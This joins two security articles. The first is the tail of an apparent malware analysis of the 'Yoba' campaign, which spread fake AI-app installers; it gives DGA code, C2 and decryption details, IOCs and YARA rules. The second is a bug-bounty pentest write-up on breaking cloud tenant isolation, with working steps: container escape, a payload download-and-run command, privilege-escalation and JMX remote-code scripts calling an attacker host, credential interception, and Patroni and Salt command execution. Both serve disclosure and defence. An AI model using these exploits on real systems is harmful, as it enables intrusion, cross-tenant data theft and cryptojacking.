"eagle", "raven", "ember", "comet", "fox", "dragon", "piano", "viper", "yoba", "yyoba", "static", "cpp", "example", ] VERBS = [ "runs", "jumps", "sings", "sleeps", "flies", "hunts", "burns", "floats", "shines", "whispers", "roars", "dreams", "strikes", "glides", "watches", "hides", "duty", "free", ] FNV_MULTIPLIER = 0x1000193 MASK64 = 0xFFFFFFFFFFFFFFFF def hash_bytes(data: bytes, seed: int) -> int: value = seed for byte in data: value = ((value ^ byte) * FNV_MULTIPLIER) & MASK64 return value def generate_domain(image_path: str) -> str: image = Path(image_path).read_bytes() if len(image) < 50: raise ValueError("Image must contain at least 50 bytes") tail = image[-50:] adjective = ADJECTIVES[hash_bytes(tail, 0x811C9DC5) % len(ADJECTIVES)] noun = NOUNS[hash_bytes(tail, 0xAF0154A5) % len(NOUNS)] verb = VERBS[hash_bytes(tail, 0xFE5439E4) % len(VERBS)] number = hash_bytes(tail, 0xFFA7471A) % 1000 return f"{adjective}-{noun}-{verb}-{number}.dedyn[.]io" if name == "main": image_file = sys.argv[1] print(generate_domain(image_file)) It then queries Google’s DNS-over-HTTPS (DoH) API to obtain an encrypted command from a DNS TXT record, using a URL of the form https://dns[.]google/resolve?name=$DGA&type=TXT . By relying on a DoH service and common file-hosting platforms, the actor aims to bypass passive DNS monitoring and some gateway-based security protections, making their command-and-control traffic harder to distinguish from regular user activity. Figure 13 — DNS TXT record, base64 encoded data. It decodes the Base64-encoded data field from the JSON response and validates it using Ed25519 signature verification with the public key b5c2d20623d4e6647d06a42864edd8629f82c5c384b243fdaeeeca24b3873d64 . Once the signature validation succeeds, it decrypts the decoded value using AES in ECB mode with the key 1d0d1368b4d53f3a6322cf40e84e63db . Decrypted response: 1https://files.catbox[.]moe/z5zpy9.dat The downloader retrieves the encrypted payload and decrypts it using the same AES key and ECB mode that were previously used for the DNS data. The malware provides three methods for deploying the downloaded payload. The selected method is indicated by the first character of the decrypted response that follows the URL (1/2/3): Injects the downloaded payload into svchost.exe (NtWriteVirtualMemory/NtCreateThreadEx). It enumerates running processes and, using the hashing algorithm with the seed 0x1DEB , searches for the hash value 0xC26CDEA5 , which corresponds to svchost.exe . Saves the payload as a %TEMP%\$10_rand_char\$10_rand_char.exe file and executes it. Before running the executable, the downloader removes the Zone.Identifier alternate data stream, which is hidden metadata used by Windows to track the origin of downloaded files. Saves the payload as a %TEMP%\$10_rand_char\$10_rand_char.ps1 PowerShell script and invokes it with the following parameters: -WindowStyle Hidden -ExecutionPolicy Bypass -File . Finally, the injected payload into svchost.exe is an XMRig 6.26.0 miner with a hidden command line targeting a TLS-enabled onion mining endpoint through a local Tor SOCKS5 proxy. It can unpack and start Tor 0.4.9.12 plus lyrebird 0.8.1, monitor user-input activity to pause mining, and conditionally load the WinRing0 driver service for MSR-based mining optimization. FieldValueMining server 3zciedc3enu4muwc5adxciyk6u3juhvhvbv6bfrk2arawlvb7k7ovxad[.]onion:443 Pool password/token dcde1f56048fa18657dc4820397592f7 TLSEnabled ( --tls )Proxy socks5://127.0.0[.]1:9550 Donation level 0 CPU thread hint 85% User-active pauseResume after 240 seconds idleSingleton mutex Local\WindowsSecurity Tor data directory %TEMP%\torbundle\data Tor bridge 1 obfs4 51.89.231[.]85:24526 A44162645CEAA39C7106C49A3F36FD99FF8D8A00 cert=cVNRBh1enpvEGxA0ouu568EDFhWPl9taldydYgiJk77OX4MzoYIRz3qx4q7yHL5bRN60Gg iat-mode=0 Tor bridge 2 obfs4 51.89.228[.]250:21668 BA8BD67D8898CF378D4F73821DEB5657F4BB98DF cert=bEpLLgOwJ9fOJbeHb5r+ronUF2ck5nRd0Jl3zuy7rLoUp732QK2p/CUHjTAfBPCGfcVtSA iat-mode=0 Although we observed an XMRig cryptominer as the final payload in this campaign, the YobaLoader is a generic loader. The operator can supply any PE or PowerShell payload via the signed DNS TXT tasking, so future waves may deliver different malware families. Past Yoba Versions Yoba exposes, through the same hashing algorithm it uses for anti-analysis, the specific process name under which it expects to run. Even without having full visibility into the campaign from the very beginning, analysts can still infer which targeted software was used to lure users by correlating this expected process name with the fake AI applications promoted on the associated GitHub repositories and GitHub Pages sites. HashProcessProduct 0xE6C2F326 Setup.exeChatGPT & Claude Opus 0x56221573 Cursor.exeCursor AI Coding Agent 0x39DE0DD8 UnknownUnknown Earlier YobaDropper observed in the wild appeared in early June 2026. In this campaign, the dropper was sideloaded by a process named Cursor.exe (hash: 0x56221573 ). It remains unclear whether Cursor.exe was a legitimate signed binary. The majority of the functionality in this early variant is consistent with the newer versions of both the dropper and the loader. YobaDropper shows two main differences between its older and newer versions: Unpacking logic: In the oldest version, the buffer is first Base64-decoded and then XOR-decrypted to extract the YobaLoader . In the newer version, the developer removed the Base64-decoding step and performs only XOR decryption, simplifying the unpacking process. Execution method: The second change concerns how YobaLoader is triggered. The newer version uses Scheduled Tasks to start the copied legitimate host and sideload the loader, whereas the first discovered version creates the shortcut msdefender_scheduler{7940-8490-6670-1081}.lnk in the Startup folder. This shortcut executes a copied %APPDATA%\Microsaft Difendir\msdtc.exe and sideloads %APPDATA%\Microsaft Difendir\mswsock.dll . Earlier version of YobaLoader contains language checks and excludes only Russia from infection. In later versions, these checks were moved to the dropper stage and expanded to exclude additional CIS countries, shifting regional filtering earlier in the infection chain. Figure 14 — Exclusion of Russian language from infection. While the overall DGA logic remains the same, the early variant uses the extension .aber[.]ir instead of .dedyn[.]io . In addition, instead of injecting into svchost.exe , this variant injects into a different running process identified only by its hashed name 0x21BD94C2 . The initial loader also implements several anti-analysis techniques that have been removed from the newer versions of the malware: 1. Anti-debugging It enumerates all kernel object types and reads their TypeName values. Each type name is hashed using DJB2 with the seed 0x1DEB until the hash matches 0xCF9EE149 , which corresponds to DebugObject . If a DebugObject is found, it indicates that a debugger is or was active, and in that case the malware terminates itself. Figure 15 — DebugObject via NtQueryObject-ObjectAllTypesInformation. 2. Anti-VM The malware uses a VM/sandbox-detection scoring function while running several hardware fingerprinting checks. The maximum score is 6, and the minimum required to continue the infection chain is 3. The checks include: Hypervisor-present bit and CPUID timing (via RDTSCP ). Hypervisor vendor signature string (CPUID leaf 0x40000000 ). CPU brand string sanity checks (CPUID leaves 0x80000002 – 0x80000004 ). SMBIOS-based firmware fingerprinting ( GetSystemFirmwareTable – RSMB ) Figure 16 — Hypervisor vendor signature string technique. Despite these small differences in early anti-analysis behavior, the Telegram channel and the profile image used as the seed for the DGA remain the same as in the newer variants, indicating that the operator retained the same infrastructure while iterating on the loader’s evasion logic. Conclusion The Yoba campaign shows how attackers can use trusted platforms and the current interest in AI tools to distribute malware in a way that looks believable and harmless at first glance. By packaging their code together with well-known software names and hosting it on GitHub, they lower the chances that users or basic security checks will immediately flag the files as suspicious. Although the underlying techniques are more advanced than typical commodity malware, the main goals remain straightforward: gain a foothold on the victim’s system, avoid easy detection, and then run the attacker’s chosen payload. Organizations should be cautious about installing “AI helpers” or similar tools from unverified repositories and should enforce policies that restrict running software from unknown sources. Combining user awareness with basic technical controls. Indicators of Compromise DescriptionValueGitHub pagesgithub[.]com/gpt-5-6/sol-free-desktop gpt-5-6.github[.]io github[.]com/gpt-5-6/gpt-5-6.github.io github[.]com/gpt-6-astra/gpt-6-astra.github.io gpt-6-astra[.]github[.]io opus-5-0[.]github[.]io github[.]com/opus-5-0/opus-5-0.github[.]ioZIP Files332e3b685e375aa44a5ec98511fc53be821df46a c2b986704406d47dd88ee4e2fcffebc854ff2ce4Signed OpenAI & Anthropic binaries163c81187d8024123912c3c12d905fd5210afcb3 65a3ac8f341ae04982005fd2c4e83627a68793a3YobaDropper17e8639a00bb32b10cb9cf0d292e9441456ce4bb 20238b36645fc63139a76b19a480c6a9166472fa 4ea5b71202b69fc27b06ef9ee3f6f51d6f7b8586 60aece343959a2e1840f6aaeffa38b73ed21af2c 8777db31d8df78f36e4544a132d843dfb2a0f026YobaLoader22661f4bada8167fa0f410b75e53184998990abb 2ecb5548e9774a3d05e8669e8414dcc366929b79 3fef1af3664429e621d3e0f9408cb5102ef02b84 55043ea6d102670c014e2be5a8197e70b7c201cb 79e87a6df59d68b2dbd2c43950df5663d671007c 7dfcee02732ed89f1ddf25d1689863c26de3df15 bead5748d813a9828ddb7603a32e52aa15349768 cf90c4599257e76984a199d98b1fd082b820a54d eeedc5c9007d7f01808285e0ae0c0b451bdba003Telegram imagee7c0e981f81447892995d01ed986c0b462a6f0c5Telegram Channelt[.]me/yoba_fanclubDNSdns[.]google/resolve?name=calm-piano-floats-313.dedyn[.]io&type=TXTITW URLfiles.catbox[.]moe/z5zpy9.datEncrypted Payload7467b6980440ec27c4e0a8d940672c9f24e14216Payload XMRIGea16728f6928dc77deaddee74a6e736dd5f24fc5XMRIG Endpoints3zciedc3enu4muwc5adxciyk6u3juhvhvbv6bfrk2arawlvb7k7ovxad[.]onion:443 51.89.228[.]250:21668 51.89.231[.]85:24526 Yara Rules rule yoba_dropper { meta: author = "@Tera0017/Check Point Research" description = "YobaDropper" strings: $code1 = {00 BB 40 0D 03 00 B9 7C 15 00 00 FF D6 31 C0} $code2 = {BA 05 15 00 00 0F BE 08 84 C9 74 0A 6B D2 21} $code3 = {53 B9 75 EE 40 70 48 83 EC 20} $code4 = {BA 5C CD 17 E5 48 89 C1 E8 73 00 00 00} $code5 = {0F C8 89 C0 4? 39 ?? 74 1? (49 0F AF C0| 48 69 C0 ?? ?? ?? ??) (4C 01 C8| 48 05 ?? ?? ?? ??) 49 89 C? 49 C1 E? 18 45 30 [2] 4? FF ?? EB} condition: uint16(0) == 0x5A4D and 2 of them } rule yoba_loader { meta: author = "@Tera0017/Check Point Research" description = "YobaLoader" strings: $code1 = {B9 80 A8 12 01 FF ?? ?? E9} $code2 = {BA EB 1D 00 00 0F BE 08 84 C9 74 0A 6B D2 21} $code3 = {B9 5B 80 EF B7 E8} $code4 = {BA F5 8B 2E F2 48 89 C1} $code5 = {B5 C2 D2 06 23 D4 E6 64 7D 06 A4 28 64 ED D8 62 9F 82 C5 C3 84 B2 43 FD AE EE CA 24 B3 87 3D 64} $code6 = {1D 0D 13 68 B4 D5 3F 3A 63 22 CF 40 E8 4E 63 DB} $code7 = {40 80 FE 32 74 42 40 80 FE 33 74 66 40 80 FE 31} $code8 = {41 81 F8 A5 DE 6C C2} condition: uint16(0) == 0x5A4D and 2 of them } The post Tricks from the Past deployed via signed ChatGPT and Claude binaries appeared first on Check Point Research .

This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product. Introduction Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure. This analysis is based on a real-world case that won second place in the System Hacking (Web & Logic) category at Russian Pentest Award 2026 . It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026). 1. Gaining initial access through a managed Kubernetes cluster Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud. 1.1. Escaping the worker node First, we created a resource in the cloud’s managed Kubernetes cluster ( v1.25.16+k0s.0 ). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container. kubectl run pod-name-bla \ --image=alpine \ --restart=Never \ --overrides=' { "apiVersion": "v1", "spec": { "hostPID": true, "containers": [ { "name": "priv", "image": "alpine", "command": [ "sh", "-c", "sleep 3600" ], "stdin": true, "tty": true, "securityContext": { "privileged": true } } ] } }' After creating the privileged pod, we ran the nsenter command inside the container. It moved the execution context to the host machine: nsenter --target 1 --mount --uts --ipc --net --pid – bash After this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine. Kubelet configuration and API server address Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack. Konnectivity service account token 1.2. Analysis of control plane services After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address ( 192.168.0.4 ) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports: 192.168.0.4:9443 open https status=404 192.168.0.4:2380 open 192.168.0.4:6443 open http status=400 192.168.0.4:8132 open 192.168.0.4:9100 open http status=200 title="Node Exporter" 192.168.0.4:9308 open http status=200 title="kube-state-metrics" Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service. Interaction diagram between control plane and data plane via Konnectivity 1.3. Exploiting Konnectivity To analyze the service on port 8132, we deployed a local test environment. We found that v1.25.16+k0s.0 uses a fork of konnectivty-server , inherited from apiserver-network-proxy in the original Kubernetes. A quick primer on k0s : this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation. Port 8132, mentioned above, hosts AgentService, which provides a single method: Connect . This method accepts a Packet stream. service AgentService { rpc Connect(stream Packet) returns (stream Packet) {} } The code revealed an interesting detail: when AgentService receives a packet of the type DIAL_REQ from a worker node, the server calls the net.Dial() function on the control plane side. The packet structure for the Connect method looks like this: //apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26 enum PacketType { DIAL_REQ = 0; DIAL_RSP = 1; ... } message Packet { PacketType type = 1; oneof payload { DialRequest dialRequest = 2; DialResponse dialResponse = 3; Data data = 4; CloseRequest closeRequest = 5; CloseResponse closeResponse = 6; CloseDial closeDial = 7; } } message DialRequest { // tcp or udp? string protocol = 1; // node:port string address = 2; // random id for client, maybe should be longer int64 random = 3; } The server reads any Packet packets from the stream initiated by the agent (worker node): //apiserver-network-proxy/pkg/server/server.go:721 in, err := stream.Recv() ... recvCh <- in Next, the packets go to the backend manager: //apiserver-network-proxy/pkg/server/server.go:748 func (s *ProxyServer) serveRecvBackend(...) { for pkt := range recvCh { switch pkt.Type { Then comes the most interesting part: //apiserver-network-proxy/pkg/server/server.go:888 case client.PacketType_DIAL_REQ: req := pkt.GetDialRequest() klog.V(5).InfoS("Received DIAL_REQ", "target", req.Address) s.handleDialRequest(pkt, backend) In other words, a DIAL_REQ that comes from the agent (worker node) was considered valid and passed to the packet handler for the corresponding type (DIAL_REQ). //apiserver-network-proxy/pkg/server/server.go:921 func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) { ... dialReq := pkt.GetDialRequest() resp.GetDialResponse().Random = dialReq.Random start := time.Now() conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and address This created an SSRF primitive in the control plane context, which made it possible to reach not only network resources but also host UNIX sockets. D-Bus ( - /run/dbus/system_bus_socket ) was chosen as a promising target for interaction. The busctl utility revealed the following services available on the control plane: org.freedesktop.DBus org.freedesktop.PackageKit org.freedesktop.PolicyKit1 org.freedesktop.login1 org.freedesktop.systemd1 com.ubuntu.SoftwareProperties Using the org.freedesktop.DBus.GetConnectionCredentials method with a custom D-Bus client we wrote on top of github.com/godbus/dbus/v5, we were able to retrieve the UID of the current process. In this case, it was 997. Unfortunately, it wasn’t root, which means we couldn’t instantly start a system service in systemd. However, it was still possible to create a user service (system –user). To do this, we first enabled lingering for our UID: busctl --address=unix:path=/tmp/master-dbus.sock \ call org.freedesktop.login1 \ /org/freedesktop/login1 \ org.freedesktop.login1.Manager \ SetUserLinger ubb 997 true false The following sockets were then opened: /run/user/997/bus /run/user/997/systemd/private (this socket is the equivalent of running commands through systemctl --user.) Through this new socket, we called the StartTransientUnit method of the org.freedesktop.systemd1.Manager service: StartTransientUnit( name: string, mode: string, properties: a(sv), aux: a(sa(sv)) ) -> job object path The properties parameter is exactly where you pass the standard systemd service definition directives. We added the following line: ExecStart=/bin/sh -c "bash -lc 'curl ip:port/payload -o /tmp/love;chmod +x /tmp/love; setsid /tmp/love '" As a result, we successfully received a callback from the control plane. Konnectivity-server context and node network interfaces Mirantis, the company behind the k0s project, confirmed the vulnerability . 1.4. Privilege escalation on the host Since konnectivity-server runs with limited privileges by default, the next step after achieving RCE on the control plane was to escalate those privileges. An analysis of processes on the control plane node revealed a running salt-minion service. Root privileges allow authentication in salt-minion as that minion and further attacks against it (more on that later). In our case, the target host ran Ubuntu 22.04 with kernel version 5.15.x. Because user namespaces were enabled, a known bug in OverlayFS offered a viable path to privilege escalation: it allows a file to retain the cap_setuid+eip capabilities after namespace manipulation. To exploit the vulnerability, a copy of the python3 interpreter was created with the setuid capability set, which made it possible to gain root privileges. rm -rf /tmp/lpe mkdir /tmp/lpe cd /tmp/lpe unshare -rm sh -c ' mkdir l u w m && cp /usr/bin/python3 l/ && chmod 755 l/python3 && setcap cap_setuid+eip l/python3 && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/* ' getcap /tmp/lpe/u/python3 /tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")' Confirmation of command execution with root privileges Gaining root privileges opened up several interesting attack vectors: We discovered an eth2 interface on the 100.64.0.0/10 subnet on the host. The cloud’s overlay network turned out to be flat, providing visibility into all managed services. The system stored a salt-minion key pair. This significantly expands the attack surface by providing access to the managed cloud’s own control plane through SaltStack. 2. Adventures in the overlay network 2.1. Victoria stack An examination of network activity within the managed resource immediately yielded interesting results. Traffic analysis revealed requests from a specific IP address to collect node metrics from our kube-state-metrics instance in mk8s. The IP address turned out to belong to a metrics collector, one of the VictoriaMetrics instances serving numerous managed resources. Like Prometheus, the VictoriaMetrics API exposes a list of targets from which it collects metrics. When we queried the http://100.64.13.37:8429/api/v1/targets endpoint, we found that each target’s labels contained valuable metadata: "discoveredLabels": { "address": "http://100.64.1.1:6897/metrics", "__meta_url": "CENSORED", "metrics_path": "/metrics", "scheme": "http", "scrape_interval": "2m0s", "scrape_timeout": "2m0s", "cluster_id": "676767", "customer": "customerID", "job": "http", "profile": "kubernetes", "vds_id": "1337", "version": "1.0" } It’s worth noting that a single VictoriaMetrics query returns a full list of control plane hosts that belong to other cloud tenants. Port 6897 indicates that the kube-state-metrics exporter is running, and the profile: kubernetes field further confirms the target type at this address. We found another host from the Victoria ecosystem on the same network: VictoriaLogs. The service’s web interface on port 9428 also exposes API endpoints that can reveal sensitive data. For example, the /select/logsql/query endpoint allowed unauthorized access to all logs from any managed resource in the cloud. Analysis of the control plane logs for mk8s revealed a critical detail: the cloud-init scripts generated private SSH keys for the root account by default. These keys were printed to stdout and automatically saved in the shared system logs. Correlating certain label values from VictoriaMetrics helped us reconstruct the target host’s original names. This makes it easier to filter data in VictoriaLogs and unambiguously match a compromised private key to the target node where it can be used. Private SSH key in a VictoriaLogs record We could use the compromised private key for a privileged account to connect to the target nodes over SSH and gain full control of other tenants’ clusters. Process privileges on the host and available actions in Kubernetes Logs from other types of services could likely reveal additional sensitive data that would further increase the impact. 2.2. Compromising managed Kafka instances We explored the option to deploy managed Apache Kafka resources. As expected, we also found these instances on the flat overlay network. One Kafka host had port 9999 open, which turned out to be a JMX Registry . Discovered Java RMI service on port 9999 The JMX Registry mechanism is inherently vulnerable: it returns an RMI stub-host to the calling client, which allows remotely loading an arbitrary custom MBean class and executing arbitrary code. We ran an nmap -sC scan against the registry port to identify the exact port of the RMI service we would interact with next. To carry out the attack, we prepared a set of Java scripts with the following structure: JmxCreateMBean.java : connects to the JMX Registry and creates an MBean component, javax.management.loading.MLet (a class that loads classes from a specified URL). JmxInvoke.java : invokes the selected MBean method through the JMX Registry. ExecMBean.java and Exec.java a custom lightweight test MBean component with a run(String cmd) method that provides an interface for remote command execution. The code that handles the connection and initialization of the MBean component looks like this: //JmxCreateMBean.java ... import javax.management.remote.JMXConnector; import javax.management.remote.JMXConnectorFactory; import javax.management.remote.JMXServiceURL; public class JmxCreateMBean { private static final class RewritingSocketFactory extends RMISocketFactory { private final String fromHost; private final String toHost; RewritingSocketFactory(String fromHost, String toHost) { ... } @Override public Socket createSocket(String host, int port) throws IOException { ... } @Override public ServerSocket createServerSocket(int port) throws IOException { ... } } public static void main(String[] args) throws Exception { ... RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3])); String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]); try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) { var mbsc = connector.getMBeanServerConnection(); try { ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5])); System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName()); } catch (InstanceAlreadyExistsException e) { System.out.println("EXISTS " + args[5]); } } } } Below is the implementation of the malicious Exec.java class, which provides methods to execute shell commands and read and write files with Base64 encoding: // Exec.java import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Path; import java.util.Base64; public class Exec implements ExecMBean { @Override public String run(String cmd) throws Exception { Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start(); byte[] out = p.getInputStream().readAllBytes(); int rc = p.waitFor(); return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8); } @Override public String getB64(String path) throws Exception { return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path))); } @Override public String putB64(String path, String b64) throws Exception { byte[] data = Base64.getDecoder().decode(b64); Files.write(Path.of(path), data); return "wrote " + data.length + " bytes"; } } After compiling our custom MBean , we place the resulting JAR file on a remote web server and prepare an mlet.html configuration file so the target server can load it. <html> <mlet code="Exec" archive="execmbean.jar" name="payload:type=Exec"></mlet> </html> We then perform the following steps: Create a standard MLet loader inside the Kafka JVM . Load the malicious MBean onto the target server by calling the getMBeansFromURL method of the standard MLet component ( DefaultDomain:type=MLet ). The URL of the prepared file is passed as an argument: http://attacker_ip:8000/mlet.html . Call the run(String cmd) method of the loaded MBean to achieve RCE on the host. Kafka process context and node network interfaces This attack vector was possible because the RMI stub host, which security standards require to be bound only to the loopback interface (127.0.0.1), was mistakenly exposed to the cloud’s shared overlay network. 2.3. Credential leakage through redis-exporter The next step was to analyze hosts running managed Redis instances. Alongside the main port 6379 used by Redis, each host had a redis exporter service on port 9121. Analysis of its source code revealed a logic vulnerability in how the target parameter was handled: //redis_exporter/exporter/http.go:47 func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) { target := r.URL.Query().Get("target") ... if !strings.Contains(target, "://") { target = "redis://" + target } u, err := url.Parse(target) ... opts := e.options ... _, err = NewRedisExporter(target, opts) ... Essentially, the /scrape handler accepts an arbitrary target parameter and attempts to collect metrics from that target with the same credentials the exporter uses to connect to its primary Redis instance. Directing a redis exporter request to an attacker-controlled host, such as one running nc -nvlp 6379 , makes it possible to intercept the following credentials: http://<redis_expoter_host>:9121/scrape?target=<fake_redis_server> AUTH command in an intercepted Redis request The captured credentials allowed access to other customers’ Redis instances to read, modify, or delete stored data. Diagnostic information of the Valkey instance (Note. A Redis RCE vulnerability was disclosed during the research. Combined with the access obtained, it made it possible to fully compromise other tenants’ services). 2.4. Compromise of managed PostgreSQL (Patroni) clusters The PostgreSQL DBMS is one of the most popular managed resources alongside mk8s. The next step was therefore to analyze PostgreSQL hosts in the overlay network. Scanning nodes with the PostgreSQL port (5432) open revealed related services on ports 2379 (an etcd distributed store) and 8008 ( Patroni REST API). While the Patroni REST API required authentication, access to etcd was completely unrestricted. Analysis of the contents of etcd revealed a critical key, /v2/keys/service/pg-cluster/config , which contained the Patroni configuration. Patroni configuration in etcd { "ttl": 30, "loop_wait": 10, "retry_timeout": 10, "maximum_lag_on_failover": 1048576, "postgresql": { "use_pg_rewind": true, "parameters": { "archive_command": "id", "archive_mode": "always", "max_connections": 550, "max_locks_per_transaction": 512, "max_worker_processes": 27 } } } Write access to this configuration file allows an attacker to set archive_command to a command of their choice and achieve RCE on the target host when the archiving process starts. To avoid waiting for the WAL to fill up through normal activity, a way was found to force archiving even with minimal access privileges: Update the Patroni configuration with the modified archive_command : curl -s -X PUT http://localhost:2379/v2/keys/service/<CLUSTER_NAME>/config -d value="$(jq -c . config.json)" | jq Update the configuration again to add the standby_cluster parameter: { "ttl": 30, "loop_wait": 10, "retry_timeout": 10, "maximum_lag_on_failover": 1048576, "postgresql": { "use_pg_rewind": true, "parameters": { "archive_command": "rce", "archive_mode": "on", "archive_timeout": "10", "max_connections": 550, "max_locks_per_transaction": 512, "max_worker_processes": 27 } }, "standby_cluster": { "host": "192.0.2.1", "port": 5432 } } After this parameter is applied, Patroni detects a role conflict for the current primary. The logs show a sequence similar to the following: cannot be a real primary in standby cluster Demoting self (demote-cluster) received fast shutdown request checkpoint starting: shutdown immediate Postgres then restarts, and the archiving process runs and executes the injected command: PostgreSQL process context and node network interfaces This makes it possible to log in to other tenants’ Postgres DBMS instances and gain full control over the data. As an additional risk factor, files containing credentials for access to S3 storage were found on these hosts. Database and S3 access parameters in a backup file This storage holds backups not only of the current instance but also of all other databases in the cloud. List of backup storage locations in S3 3. Attack on SaltStack management infrastructure After gaining root access to the control plane node, the focus shifted to the SaltStack configuration management service. 3.1. Analysis of salt fs The first step was to dump the entire Salt master file system for subsequent static analysis: Fragment of the Salt Master file list It contained numerous files. salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do mkdir -p "/tmp/dump/$(dirname "$f")" salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null done Because the Salt version in use was up to date, no known CVEs were applicable. However, we found a custom script ( _pillar/somebase.py ) with a critical vulnerability among the files on the Salt master. The vendor had written it to service minions running the somebase service. The vulnerability is an insecure SQL query construction through the query.format() method: sql = query.format( minion_id=minion_id, pillar={pillar, results}, grains=grains, ) loaded_items = db_connections[db_alias].load_object_list(sql) A Salt minion can trigger a pillar refresh and pass arbitrary metadata (grains) to the Salt master. This allows an attacker to inject SQL code through the some_id parameter inside grains. When the extension on the Salt master side processes the request, the generated SQL query is executed in the prod-cloud database. As a result, the vulnerability makes an error-based SQL injection possible. Database error during pillar processing 3.2. Exploiting the SQLi This vulnerability provided access to various database schemas. The most interesting one was the cloudsmth schema, which contained about 50 tables with metadata of all managed resources and VDS. Fragment of the table list in the cloudsmth schema Even more notable was the salt-masters table, which held authentication tokens for all Salt masters. Records with Salt Master authentication tokens With these tokens, we could access the Salt master REST API and run arbitrary commands on all minions in the cloud: curl -k https://salt-master:8000 -H "Accept: application/json" -H "Content-Type: application/json" -H "X-Auth-Token: REDACTED" -d '[{"client":"local","tgt":"hostname-minion","fun":"cmd.run","arg":["id; hostname"]}]' By agreement with the vendor, the attack was not developed further. Even so, access to the salt-masters table and the prod-cloud database would have made it possible to take over all resources, including VDS, S3, and other services , in a single step. 4. Other ways to attack the cloud It’s worth mentioning other ways to get into the overlay network, since some of them also produced interesting cases. 4.1. Exploiting a vulnerability in Managed Valkey During analysis of the Valkey instances deployed in the cloud infrastructure, we found that the software version in use was vulnerable to CVE-2026-25243 . At the time of the analysis, no public proofs of concept (PoCs) or exploits existed. To study how the vulnerability manifests, we analyzed the diagnostic data returned by the INFO command: valkey_version=7.2.11 redis_version=7.2.4 redis_git_sha1=97b6663c redis_git_dirty=0 redis_build_id=a75ca2f023d97d88 gcc_version=13.3.0 arch_bits=64 os=Linux 6.8.0-124-generic x86_64 executable=/usr/bin/valkey-server The redis_build_id identifier made it possible to determine the exact binary in use. It matched the official build for Ubuntu Noble x86_64 . CVE-2026-25243 is caused by the RESTORE command handling serialized RDB objects incorrectly. When the legacy hash-zipmap encoding is used, the validator accepts a 5-byte length representation for a short key, but the parser that follows interprets the key’s internal bytes as the encoding of the value length. This mismatch can cause an out-of-bounds write that overwrites adjacent heap chunks (heap overflow), which can potentially lead to an arbitrary write primitive. After the successful arbitrary write to adjacent memory regions, strict systemd sandbox rules presented an obstacle: NoExecPaths=/ ExecPaths=/usr/bin/valkey-server /usr/lib /lib CapabilityBoundingSet= NoNewPrivileges=true PrivateUsers=true ProtectSystem=strict ProtectHome=true SystemCallFilter=@system-service SystemCallFilter=~ @privileged @resources These parameters block the execution of standard shells, such as /bin/sh. Even so, the /tmp directory was mounted with write access. By modifying the process logic, we could trigger the download and execution of a third-party component from /tmp, which wasn’t covered by the noexec rule. After establishing a stable communication channel, we added an SSH key to /var/lib/valkey/.ssh/authorized_keys. This gave us independent access to the host and the ability to escalate privileges further through standard local privilege escalation (LPE) methods. Valkey process context and Salt grains parameters The GRO Frag vulnerability was triggered in this case, but new LPEs are disclosed every week, so there may be many other ways to escalate privileges and continue the attack on the Salt master. 4.2. MySQL The MySQL database user didn’t have root privileges when the resource was created. DROP TABLE IF EXISTS mysql.global_grants; CREATE TABLE mysql.global_grants ( USER char(32) NOT NULL DEFAULT '', HOST char(255) NOT NULL DEFAULT '', PRIV char(32) NOT NULL DEFAULT '', WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N', PRIMARY KEY (USER, HOST, PRIV) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0; However, the application logic allowed this user to drop and recreate the table with dynamic privileges: DROP TABLE IF EXISTS mysql.user; CREATE TABLE mysql.user ( Host char(255) NOT NULL 